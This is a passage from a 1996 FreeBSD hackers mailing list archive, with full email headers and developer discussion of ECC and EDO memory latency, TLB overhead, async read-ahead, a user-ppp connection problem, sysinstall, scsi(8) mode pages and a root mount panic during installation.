FreeBSD.org Precedence: bulk > That doesn't mean we should immediately ``recycle'' the name ``root > floppy'' for something totally different. This would cause nothing > but major confusion to many users. If we ship 2.2 without a root.flp, > we need a `quarantine' period so we can use this name for something > different as early as 2.3 again. I should have said "delete" rather than rename. We can race straight for a bindist now if it's done with care, nothing I need off the root floppy to suck a distribution down. Jordan From owner-freebsd-hackers Thu May 16 04:56:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA22215 for hackers-outgoing; Thu, 16 May 1996 04:56:48 -0700 (PDT) Received: from GndRsh.aac.dev.com (GndRsh.aac.dev.com [198.145.92.241]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id EAA22191; Thu, 16 May 1996 04:56:40 -0700 (PDT) Received: (from rgrimes@localhost) by GndRsh.aac.dev.com (8.6.12/8.6.12) id EAA06145; Thu, 16 May 1996 04:54:39 -0700 From: "Rodney W. Grimes" Message-Id: <199605161154.EAA06145@GndRsh.aac.dev.com> Subject: Re: Triton chipset with 256k cache caches 32M only? To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 16 May 1996 04:54:39 -0700 (PDT) Cc: jgreco@brasil.moneng.mei.com, davidg@Root.COM, mmead@Glock.COM, joerg_wunsch@uriah.heep.sax.de, blh@nol.net, hackers@freebsd.org, hardware@freebsd.org In-Reply-To: <199605161031.MAA01458@uriah.heep.sax.de> from J Wunsch at "May 16, 96 12:31:53 pm" X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > As Rodney W. Grimes wrote: > > > > > ECC has single bit error correction and 2 bit error detection. Better than > > > > parity no matter how you slice it. > > > > Only if you have memory that is failing or you need extreamly reliable > > operation (good memory should have a single bit error rate of something > > like 1 in 10 years). > > I think most of the memory problems we've been observing lately are > not related to the RAM itself, but rather to other hardware problems > (timing, EMC problems). Remember all the reports about ``strange sig > 10/11's'' or the Winbloze ``general protection failure'' mess where > you never know whether it's actually hardware or rather an o/s > failure. Since ECC is not applied to either the Cache SRAM or any of the interconnecting busses it won't help these failures. -- Rod Grimes rgrimes@gndrsh.aac.dev.com Accurate Automation Company Reliable computers for FreeBSD From owner-freebsd-hackers Thu May 16 05:08:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA23509 for hackers-outgoing; Thu, 16 May 1996 05:08:48 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id FAA23503 for ; Thu, 16 May 1996 05:08:46 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id IAA12689; Thu, 16 May 1996 08:08:02 -0400 Date: Thu, 16 May 1996 08:08:02 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: "John S. Dyson" cc: Joe Greco , hackers@FreeBSD.ORG Subject: Re: A question for the VM gurus..! In-Reply-To: <199605151714.MAA22723@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > MADV_WILLNEED appears to fault pages (again, asynchrnously, from what I can > > tell). > Hmmm... time to implement kernel threads. actually, sunos had async. read-ahead from 1988 on, long before kernel threads. They just queued an i/o and did not wait for the result. So you don't absolutely have to have kernel threads. ron From owner-freebsd-hackers Thu May 16 05:57:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA27356 for hackers-outgoing; Thu, 16 May 1996 05:57:07 -0700 (PDT) Received: from Apollo.dmacc.cc.ia.us (apollo.dmacc.cc.ia.us [161.210.216.100]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id FAA27350 for ; Thu, 16 May 1996 05:57:04 -0700 (PDT) Received: from vis-admin.dmacc.cc.ia.us (vis-admin.dmacc.cc.ia.us [161.210.217.130]) by Apollo.dmacc.cc.ia.us (8.6.9/8.6.9) with ESMTP id HAA00489 for <@apollo.dmacc.cc.ia.us:freebsd-hackers@freebsd.org>; Thu, 16 May 1996 07:57:02 -0500 Received: by vis-admin.dmacc.cc.ia.us (940816.SGI.8.6.9/940406.SGI) id HAA03298; Thu, 16 May 1996 07:56:56 -0500 From: "Charles F. Randall" Message-Id: <9605160756.ZM3296@vis-admin.dmacc.cc.ia.us> Date: Thu, 16 May 1996 07:56:56 -0500 X-Mailer: Z-Mail (3.2.2 10apr95 MediaMail) To: freebsd-hackers@freebsd.org Subject: Win95 & FreeBSD2.1R vs 2.1R user-PPP server (2nd try) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I posted the following question to comp.unix.bsd.freebsd.misc and mailed it to questions@freebsd.org. Joerg Wunsch kindly responded and examined the log files (on both sides) during a connection. However, he suggested that I mail this to freebsd-hackers to see if I could find someone else interested in helping me resolve this problem. Note that the PPP server and the client are running FreeBSD 2.1R user-ppp. In my debugging session with Joerg, I also switched to the standard 'pppd' server. Same problems. Can anyone help me here? I'm forced to use Win95 (eiiik!) until I get this resolved. -Randy --- snip --- From: cfr@infoborg.dmacc.cc.ia.us (Charles F. Randall) Newsgroups: comp.unix.bsd.freebsd.misc Subject: Win95 & FreeBSD2.1R vs 2.1R user-PPP server Date: 11 May 1996 10:23:39 -0500 Message-ID: <4n2bdr$662@infoborg.dmacc.cc.ia.us> Reply-To: "Charles F. Randall" Background: At the time of the last FreeBSD 2.1 snap (fall 1995), I configured a 2.1-snap machine in my office as a user-ppp server. At the same time, I configured my dual-boot 2.0.5R/Win95 machine at home for PPP (with a static IP address) using the built-in dial-up networking for Win95 and user-ppp for FreeBSD. This worked just great (and I felt triumphant over a co-worker who has a $1200 Shiva Net modem for PPP in his office). I even documented the process and sent the results to doc@freebsd.org to be added to the FreeBSD Handbook (which doesn't cover a user-ppp server). Foreground(?): I decided to upgrade both the machines at work and at home to 2.1R. Diligently following my own instructions (and using the old configuration files as a second reference), I re-configured the user-PPP server at work and the user-ppp client at home. The server is configured for proxy arp and ip-forwarding. The Win95 client works. The FreeBSD client doesn't. Grr. The PPP link is established. Analyzing the ppp.log file on the server shows almost identical connections between the Win95 connection and the FreeBSD connection. Upon further investigation (scripts running on the server periodically checking things like arp entries, routing tables, etc.) everything seems to be configured correctly. However ... >From home, I try to ping the ppp server (always using IP addresses) and the send light on my modem flashes - nothing comes back. From the server, I try to ping my home machine and the recv light flashes - nothing is sent back. Using the same user-ppp client configuration , I can connect to my co-worker's Shiva Net-modem and everything works great. So much for that triumphant feeling. :^( The routing table on the FreeBSD client is the same when connected to either the Shiva Net-modem or the FreeBSD user-ppp server. So, did something in the proxy arp, ip-forwarding, or user-ppp code change between the last 2.1 snap and 2.1R? I'm going crazy trying to figure this out. Any suggestions would be greatly appreciated. I can provide extensive information to anyone willing to look at it. -Randy -- Charles F. Randall E-mail: crandall@dmacc.cc.ia.us UNIX Systems Programmer Voice: (515) 965-7057 Perl Hacker - Powered by FreeBSD! FAX: (515) 965-7305 -- Charles F. Randall E-mail: crandall@dmacc.cc.ia.us UNIX Systems Programmer Voice: (515) 965-7057 Perl Hacker - Powered by FreeBSD! FAX: (515) 965-7305 From owner-freebsd-hackers Thu May 16 06:25:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA29403 for hackers-outgoing; Thu, 16 May 1996 06:25:07 -0700 (PDT) Received: from mail0.iij.ad.jp (root@mail0.iij.ad.jp [192.244.176.61]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id GAA29398 for ; Thu, 16 May 1996 06:25:04 -0700 (PDT) Received: from uucp1.iij.ad.jp (uucp1.iij.ad.jp [192.244.176.73]) by mail0.iij.ad.jp (8.6.12+2.4W/3.3W9-MAIL) with ESMTP id WAA04161; Thu, 16 May 1996 22:24:21 +0900 Received: (from uucp@localhost) by uucp1.iij.ad.jp (8.6.12+2.4W/3.3W9-UUCP) with UUCP id WAA22390; Thu, 16 May 1996 22:24:20 +0900 Received: from xxx.fct.kgc.co.jp by yyy.kgc.co.jp (8.7.5/3.4W:95122611) id VAA06891; Thu, 16 May 1996 21:39:30 +0900 (JST) Received: from localhost by xxx.fct.kgc.co.jp (8.6.12/3.3W8:95062916) id VAA05852; Thu, 16 May 1996 21:39:29 +0900 Message-Id: <199605161239.VAA05852@xxx.fct.kgc.co.jp> To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: candy@fct.kgc.co.jp (Toshihiro Kanda), hackers@FreeBSD.org Subject: Re: Does /stand/sysinstall overwrite existing system? In-reply-to: Your message of "Thu, 16 May 1996 11:48:27 +0200." <199605160948.LAA01108@uriah.heep.sax.de> Date: Thu, 16 May 1996 21:39:29 +0900 From: Toshihiro Kanda Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In message <199605160948.LAA01108@uriah.heep.sax.de>, J Wunsch writes: > > I'm running FreeBSD 2.1 in sd1. There's an unformatted disk in sd0. > > I wanted to install FreeBSD 2.2-960501 into sd0 by /stand/sysinstall > > (which is in sd1). I selected only `[X] sd0' in the `Select Drive(s)' > > dialog, then continued. > > You should have used the installation floppy instead. Sysinstall > behaves differently when being run in place of /sbin/init (i.e., it > knows that it's going to install a system then). I see, thank you. What I really wanted to do is capturing the sysinstall screen images. (My goal is publishing "Install guide" WWW pages with these graphics.) I could do this by xv(l), kterm(1) and vga font came with pcemu(1); please see http://www.asahi-net.or.jp/~ZW6T-KND/welcome.gif for an example, doesn't it seem good? I also captured all steps of sysinstall happily until it had stopped :-( Thank you again for hints. Then I'm going to try hack sysinstall. candy@fct.kgc.co.jp (Toshihiro Kanda) From owner-freebsd-hackers Thu May 16 06:41:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA01506 for hackers-outgoing; Thu, 16 May 1996 06:41:47 -0700 (PDT) Received: from hda (ip37-max1-fitch.zipnet.net [199.232.245.37]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id GAA01497 for ; Thu, 16 May 1996 06:41:44 -0700 (PDT) Received: (from dufault@localhost) by hda (8.6.11/8.6.9) id JAA10014; Thu, 16 May 1996 09:50:08 -0400 From: Peter Dufault Message-Id: <199605161350.JAA10014@hda> Subject: Re: using scsi(8) To: wilko@yedi.iaf.nl (Wilko Bulte) Date: Thu, 16 May 1996 09:50:07 -0400 (EDT) Cc: FreeBSD-hackers@FreeBSD.org In-Reply-To: <199605131902.VAA01472@yedi.iaf.nl> from "Wilko Bulte" at May 13, 96 09:02:31 pm Reply-to: hdalog@zipnet.net X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Hi there > > I'm figgling around with the scsi(8) command to get LOG PAGES info from > my DLT drive. It should be possible to get quite a lot of info from the > drive in this way. > > My problem is that the scsi(3) man page that describes the arguments > that scsi(8) can use is more or less incomprehensible to me :( Sorry - I should probably revisit it since I've been away from it for a while and it could be a lot clearer. > Especially the part about the _fmt_ parameters (which are quite essential > to my efforts) I can't seem to figure out. Take a look at "sbin/scsi_format/scsi_format.sh" in -current where it dumps out a mode page, and also the mode page data base in /usr/share/misc/scsi_modes where everything inside the curly brace associated with a mode page index is a decode descriptor: > # Peripheral Device Page: > 0x09 { > {Interface Identifier} i2 > {Reserved} *i1 > {Reserved} *i1 > {Reserved} *i1 > {Reserved} *i1 > } This will dump out the first 2-byte integer field swapped into the right order. -- Temporarily via "hdalog@zipnet.net"... Peter Dufault Real-Time Machine Control and Simulation HD Associates, Inc. Voice: 508 433 6936 dufault@hda.com Fax: 508 433 5267 From owner-freebsd-hackers Thu May 16 07:24:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA06773 for hackers-outgoing; Thu, 16 May 1996 07:24:34 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA06767 for ; Thu, 16 May 1996 07:24:28 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.7.5/8.6.9) id JAA13589; Thu, 16 May 1996 09:24:08 -0500 (EST) From: "John S. Dyson" Message-Id: <199605161424.JAA13589@dyson.iquest.net> Subject: Re: A question for the VM gurus..! To: rminnich@Sarnoff.COM (Ron G. Minnich) Date: Thu, 16 May 1996 09:24:08 -0500 (EST) Cc: toor@dyson.iquest.net, jgreco@brasil.moneng.mei.com, hackers@FreeBSD.ORG In-Reply-To: from "Ron G. Minnich" at May 16, 96 08:08:02 am Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4 PL24 ME8] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > MADV_WILLNEED appears to fault pages (again, asynchrnously, from what I can > > > tell). > > Hmmm... time to implement kernel threads. > > actually, sunos had async. read-ahead from 1988 on, long before kernel > threads. They just queued an i/o and did not wait for the result. So you > don't absolutely have to have kernel threads. > We used to have async readahead in the VM system (vnode_pager.) It was a bit tricky, and kernel threads might make it simpler. Maybe not? John From owner-freebsd-hackers Thu May 16 07:30:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA07426 for hackers-outgoing; Thu, 16 May 1996 07:30:12 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA07400 for ; Thu, 16 May 1996 07:30:08 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id IAA22882; Thu, 16 May 1996 08:30:03 -0600 Date: Thu, 16 May 1996 08:30:03 -0600 From: Nate Williams Message-Id: <199605161430.IAA22882@rocky.sri.MT.net> To: Josh MacDonald Cc: bug-g++@prep.ai.mit.edu, freebsd-hackers@FreeBSD.org Subject: Re: internal compiler error In-Reply-To: <199605160854.BAA29962@paris.CS.Berkeley.EDU> References: <199605160854.BAA29962@paris.CS.Berkeley.EDU> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > The following code, [ Code deleted ] > causes an internal compiler error running gcc 2.7.2 on FreeBSD 2.2-stable. Hmm, it works fine under -stable with 2.6.3. #cheap shot on# This is one of the reasons why we stick w/older versions of GCC. :) #cheap shot off# Nate From owner-freebsd-hackers Thu May 16 07:34:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA07931 for hackers-outgoing; Thu, 16 May 1996 07:34:30 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA07924; Thu, 16 May 1996 07:34:25 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.7.5/8.6.9) id JAA13613; Thu, 16 May 1996 09:33:15 -0500 (EST) From: "John S. Dyson" Message-Id: <199605161433.JAA13613@dyson.iquest.net> Subject: Re: EDO & Memory latency To: babkin@hq.icb.chel.su (Serge A. Babkin) Date: Thu, 16 May 1996 09:33:15 -0500 (EST) Cc: dyson@freebsd.org, hackers@freebsd.org In-Reply-To: <199605160907.PAA10321@hq.icb.chel.su> from "Serge A. Babkin" at May 16, 96 03:07:44 pm Reply-To: dyson@freebsd.org X-Mailer: ELM [version 2.4 PL24 ME8] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > You likely are seeing TLB overhead intrinsic to the processor. Some processors > > don't have microcode TLB management, and you'll see worse numbers, because the > > TLB needs to be handled in normal machine/assembly code. (Of course, on those > > processors, you can tune the TLB management more freely.) > > But I tried to run it on Pentium that has microcode implementation of TLB. > What I was implying above was that R4400 (approx the same speed in general as a fast pentium) was taking 2usecs, while the Pentium takes 400usecs (on my machine). Paging isn't the issue, it is TLB updates and propagation through the glue and cache to main memory. R4400's don't handle the TLB in microcode, and the Pentium does. This is one of the *big* suprises that people sometimes find out -- those TLB updates do make a difference. I had a customer whose application was running several times slower on a R4400 box than expected. It was due to clashing with the TLB update policy. We reorganized the code, and the performance went up higher than expectations!!! If you caused your system to page, that is because there were other pages in the system that the VM system deemed to be higher priority, or you were simply out of memory. John From owner-freebsd-hackers Thu May 16 08:08:17 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA10556 for hackers-outgoing; Thu, 16 May 1996 08:08:17 -0700 (PDT) Received: from mail.rwth-aachen.de (mail.RWTH-Aachen.DE [137.226.144.9]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA10549 for ; Thu, 16 May 1996 08:08:05 -0700 (PDT) Received: from gilberto.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de) by mail.rwth-aachen.de (PMDF V5.0-4 #13110) id <01I4S4J67AVK0012E6@mail.rwth-aachen.de> for freebsd-hackers@freefall.FreeBSD.org; Thu, 16 May 1996 17:04:08 +0100 Received: (from kuku@localhost) by gilberto.physik.rwth-aachen.de (8.6.11/8.6.9) id RAA09139 for freebsd-hackers@freefall.cdrom.com; Thu, 16 May 1996 17:11:18 +0200 Date: Thu, 16 May 1996 17:11:18 +0200 From: "Christoph P. Kukulies" Subject: rawread picture To: freebsd-hackers@freefall.FreeBSD.org Message-id: <199605161511.RAA09139@gilberto.physik.rwth-aachen.de> Content-transfer-encoding: 7BIT Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I ran rawread on a kernel that was a couple of days old (perhaps 3 days) and then with a freshly supped kernel on an ASUS SP3G with Amd 5x86/133,32MB : rawread /kernel: Before fast bcopy: 104857600 bytes transferred in 5 secs (17725894 bytes/sec) from "/kernel" After fast bcopy: 104857600 bytes transferred in 4 secs (23481631 bytes/sec) from "/kernel" ~ --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Thu May 16 08:13:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA10923 for hackers-outgoing; Thu, 16 May 1996 08:13:34 -0700 (PDT) Received: from mitani.co.jp (arisa.mitani.co.jp [202.255.28.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id IAA10918 for ; Thu, 16 May 1996 08:13:24 -0700 (PDT) Received: from mailhost.mitani.co.jp.mitani.co.jp by mitani.co.jp (5.x/SMI-SVR4) id AA13409; Fri, 17 May 1996 00:11:47 +0900 Received: from sukiyaki.mitani.co.jp (ppp06.mitani.co.jp) by mailhost.mitani.co.jp.mitani.co.jp (4.0/SMI-4.0) id AA07850; Fri, 17 May 96 00:19:42 JST Message-Id: <319B4648.6174@mailhost.mitani.co.jp> Date: Fri, 17 May 1996 00:14:16 +0900 From: ShunichiTabata X-Mailer: Mozilla 2.01 (Win95; I) Mime-Version: 1.0 To: hackers@FreeBSD.org Subject: Help Me! Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I've installed FreeBSD 2.1.0 to my ISA SCSI disk. Installation itself seems to be successful. But when I boot from hard disk, follwing messages are displayed. "changing root device to sd1a" "panic:cannot mount root" I made partition as follows. wd0s1 202MB DOS sd0s1a / 32MB UFS Y sd0s1b 43MB SWAP sd0s1e /var 30MB UFS Y sd0s1f /usr 208MB UFS Y sd0s2 713MB DOS Why root device should be changed? I didn't install to sd1a. There is no other SCSI DISK. So, I thought there is something wrong with file-system of sd0a, I mounted fixit floppy and go to repair mode, and mount sd0a to '/tmp'. But sd0a was monted successfully, and directories and files were there. I try three times, but still I can't get UNIX SYSTEM on my PC. Please help me! HARDWARE: PC:COMPAQ PRESARIO433 CPU:Intel DX4 100MHz ODPR SCSI board: Adaptec AHA-1520B SCSI disk: IO-DATA HDS-1G/ISA I've installed from FTP-site in Japan. From owner-freebsd-hackers Thu May 16 10:09:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA17373 for hackers-outgoing; Thu, 16 May 1996 10:09:21 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA17367 for ; Thu, 16 May 1996 10:09:19 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id KAA13141 for ; Thu, 16 May 1996 10:09:15 -0700 Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id RAA07106; Thu, 16 May 1996 17:31:25 +0100 (BST) To: Mark Mayo cc: freebsd-hackers@FreeBSD.ORG From: "Gary Palmer" Subject: Re: BSDI binary support In-reply-to: Your message of "Thu, 16 May 1996 00:14:03 EDT." Date: Thu, 16 May 1996 17:31:24 +0100 Message-ID: <7104.832264284@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Mark Mayo wrote in message ID : > Stupid question here: > > How compatible is FreeBSD (2.1R) with BSDI binaries? The reason I ask is > that I run the BSDI versions of the Netscape Proxy server with no > problems, but I just tried setting up the BSDI 2.1 binaries for the > Microsoft FrontPage server extensions (for web authoring..) and all of > their binaries just core dump on me.. what's the reason for this? The Netscape serevrs are mosly compiled on BSDI's BSD/OS 1.x, which FreeBSD 2.1 is compatabile with. For BSD/OS 2.x binaries, you will need to upgrade to a -stable version (complete upgrade, kernel & user-land also) built from sources dated after the 22nd of February (1996). (Or move to -current) Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD - Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info. From owner-freebsd-hackers Thu May 16 10:10:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA17491 for hackers-outgoing; Thu, 16 May 1996 10:10:27 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA17486 for ; Thu, 16 May 1996 10:10:25 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA17355; Thu, 16 May 1996 10:06:42 -0700 From: Terry Lambert Message-Id: <199605161706.KAA17355@phaeton.artisoft.com> Subject: Re: make bug To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 16 May 1996 10:06:42 -0700 (MST) Cc: archie@whistle.com, freebsd-hackers@freebsd.org In-Reply-To: <6715.832212113@time.cdrom.com> from "Jordan K. Hubbard" at May 15, 96 07:01:53 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > This really should go to Adam de Boor - anyone know his current > email address? Shouldn't it be in the forst vendor branch tag for make, if you are expecting him to maintain it? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 10:12:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA17677 for hackers-outgoing; Thu, 16 May 1996 10:12:47 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA17672 for ; Thu, 16 May 1996 10:12:41 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA17364; Thu, 16 May 1996 10:09:14 -0700 From: Terry Lambert Message-Id: <199605161709.KAA17364@phaeton.artisoft.com> Subject: Re: EDO & Memory latency To: babkin@hq.icb.chel.su (Serge A. Babkin) Date: Thu, 16 May 1996 10:09:14 -0700 (MST) Cc: hackers@freebsd.org In-Reply-To: <199605160309.JAA29241@hq.icb.chel.su> from "Serge A. Babkin" at May 16, 96 09:09:12 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I have just tried lmbench and the numbers it gives are looking > slightly strange for me. It shows memory latency upto 500ns while > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > it gives 80ns, but why the overhead is over 400ns ? 25 * 3 = 75 Multiply access latency by 3. Then multiply the whole deal by 100/60 because you probably didn't set HZ to 100. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 10:15:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA17770 for hackers-outgoing; Thu, 16 May 1996 10:15:11 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA17765; Thu, 16 May 1996 10:15:07 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA17376; Thu, 16 May 1996 10:12:33 -0700 From: Terry Lambert Message-Id: <199605161712.KAA17376@phaeton.artisoft.com> Subject: Re: EDO & Memory latency To: dyson@freebsd.org Date: Thu, 16 May 1996 10:12:33 -0700 (MST) Cc: babkin@hq.icb.chel.su, hackers@freebsd.org In-Reply-To: <199605160613.BAA07537@dyson.iquest.net> from "John S. Dyson" at May 16, 96 01:13:11 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > There are several things going on. One is that there is propagation > time through to the main memory, it is much worse than the memory cycle > time. Of course, that does not account for all of the 400 nsecs that you > are seeing. Only about 280uS. The other 120uS are 20uS for the kernel trap and another 100uS in unrelated overhead. > You likely are seeing TLB overhead intrinsic to the processor. Some > processors don't have microcode TLB management, and you'll see worse > numbers, because the TLB needs to be handled in normal machine/assembly > code. (Of course, on those processors, you can tune the TLB management > more freely.) Some non-Intel procesors, like the Alpha and PPC, he means. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 10:18:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA18036 for hackers-outgoing; Thu, 16 May 1996 10:18:53 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA18031; Thu, 16 May 1996 10:18:46 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA17388; Thu, 16 May 1996 10:15:24 -0700 From: Terry Lambert Message-Id: <199605161715.KAA17388@phaeton.artisoft.com> Subject: Re: EDO & Memory latency To: babkin@hq.icb.chel.su (Serge A. Babkin) Date: Thu, 16 May 1996 10:15:24 -0700 (MST) Cc: dyson@FreeBSD.org, hackers@FreeBSD.org In-Reply-To: <199605160907.PAA10321@hq.icb.chel.su> from "Serge A. Babkin" at May 16, 96 03:07:44 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > The processor's internal conveyer size is at most 5 (?) > steps, for 13ns cycle this give 65ns for the maximal processor overhead. > The memory refresh can add about 15% of overhead, 60ns*0.15=9ns. In sum we > get 80+40+65+9=~=295ns. But the remaining 200ns are a real mystery for me. Yeah, that's my ~280 number. (ugh. I just relaized I labelled the units in my last post as uS). 400 - 295 = 105, so there's about half of your mystery for you. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 10:24:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA18421 for hackers-outgoing; Thu, 16 May 1996 10:24:19 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA18415; Thu, 16 May 1996 10:24:14 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA17398; Thu, 16 May 1996 10:20:00 -0700 From: Terry Lambert Message-Id: <199605161720.KAA17398@phaeton.artisoft.com> Subject: Re: errros on making floppies To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 16 May 1996 10:20:00 -0700 (MST) Cc: freebsd-hackers@FreeBSD.org, jmb@freefall.freebsd.org In-Reply-To: <199605160910.LAA00416@uriah.heep.sax.de> from "J Wunsch" at May 16, 96 11:10:29 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: 